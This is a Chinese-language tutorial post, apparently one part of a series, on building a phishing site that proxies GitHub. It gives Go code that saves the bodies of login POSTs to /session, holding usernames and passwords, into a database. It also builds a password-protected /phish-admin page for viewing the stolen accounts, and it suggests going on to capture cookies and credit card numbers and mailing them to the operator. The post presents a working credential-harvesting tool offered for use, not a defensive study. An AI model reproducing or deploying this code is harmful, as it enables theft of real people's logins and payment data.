昨天把資料庫相關的操作都封裝完成了,變成兩個很好用的 api:db.Insert
跟 db.SelectAll
,今天就要用這兩個 api 實作 存取帳號密碼 ,然後做個簡單的頁面看目前釣到多少魚
先觀察一下登入時瀏覽器發起的請求,是一個發到 /session
的 POST
請求,請求的 body 內帶有使用者的登入資訊
那就在 cloneRequest
裡面複製請求時,針對登入請求把它的 body 存進資料庫內
func cloneRequest(r *http.Request) *http.Request {
method := r.Method
// 把 body 讀出來轉成 string
bodyByte, _ := ioutil.ReadAll(r.Body)
bodyStr := string(bodyByte)
// 如果是 POST 到 /session 的請求
// 就把 body 存進資料庫內(帳號密碼 GET !!)
if r.URL.String() == "/session" && r.Method == "POST" {
db.Insert(bodyStr)
}
// ...
}
接下來需要一個簡單的頁面觀察釣到哪些魚,為了不跟 Github 的路徑重疊就選在 /phish-admin
,我希望只要到 /phish-admin
頁面就可以看到所有資料,至於其他網址還是被轉發到 Github
這邊要實作另外一個 adminHandler
負責撈資料呈現給前端,接著在 main 裡面判斷路徑,如果路徑是 /phish-admin
就交給 adminHandler
處理,其他的就還是交給原本的 handler
func adminHandler(w http.ResponseWriter, r *http.Request) {
// 用昨天寫好的 db.SelectAll() 撈到所有資料
strs := db.SelectAll()
// 在每個字串之間加兩個換行再傳回前端
w.Write([]byte(strings.Join(strs, "\n\n")))
}
func main() {
db.Connect()
// 路徑是 /phish-admin 才交給 adminHandler 處理
http.HandleFunc("/phish-admin", adminHandler)
// 其他的請求就交給 handler 處理
http.HandleFunc("/", handler)
// ...
}
實作完就可以在 localhost:8080/phish-admin
看到所有資料了~因為是存整個 body 所以除了帳號密碼還有一些雜七雜八的資料,其實介面可以弄得更漂亮但礙於篇幅這邊就不實作了
照上面做法任何人到
/phish-admin
都可以看到,要怎麼避免被別人看到呢
這時候就可以用 HTTP Basic Auth 設定一組帳號密碼,只有知道帳密的人才有權限看
先用 r.BasicAuth()
取得使用者輸入的帳號密碼,如果對的話就回傳資料庫的資料,錯的話就回傳 401 Unauthorized
告訴瀏覽器權限不足
func adminHandler(w http.ResponseWriter, r *http.Request) {
// 取得使用者輸入的帳號密碼
username, password, ok := r.BasicAuth()
// 判斷帳密對錯
if username == "Larry" && password == "850806" && ok {
// 對的話就從資料庫撈資料
strs := db.SelectAll()
w.Write([]byte(strings.Join(strs, "\n\n")))
} else {
// 告訴瀏覽器這個頁面需要 Basic Auth
w.Header().Add("WWW-Authenticate", "Basic")
// 回傳 `401 Unauthorized`
w.WriteHeader(401)
w.Write([]byte("不給你看勒"))
}
}
這樣一來到 /phish-admin
頁面時瀏覽器就會跳出視窗要求帳號密碼
這個專案示範的是用資料庫儲存收集到的帳號密碼,但其實還有很多變化,反正 reverse proxy 是自己架的,你可以收集任何你想要的資料,譬如說使用者的 cookie、信用卡號等等;然後也沒有一定要用資料庫,也許是串 gmail api 用寄信或是其他方式通知自己,就不用再刻頁面
今天把最後一個主要功能 - 收網做完了~整個釣魚網站的實作部份也即將要結束了,commit 放在這裡,有任何問題都歡迎提問,沒問題的話明天就要來做上線前的準備了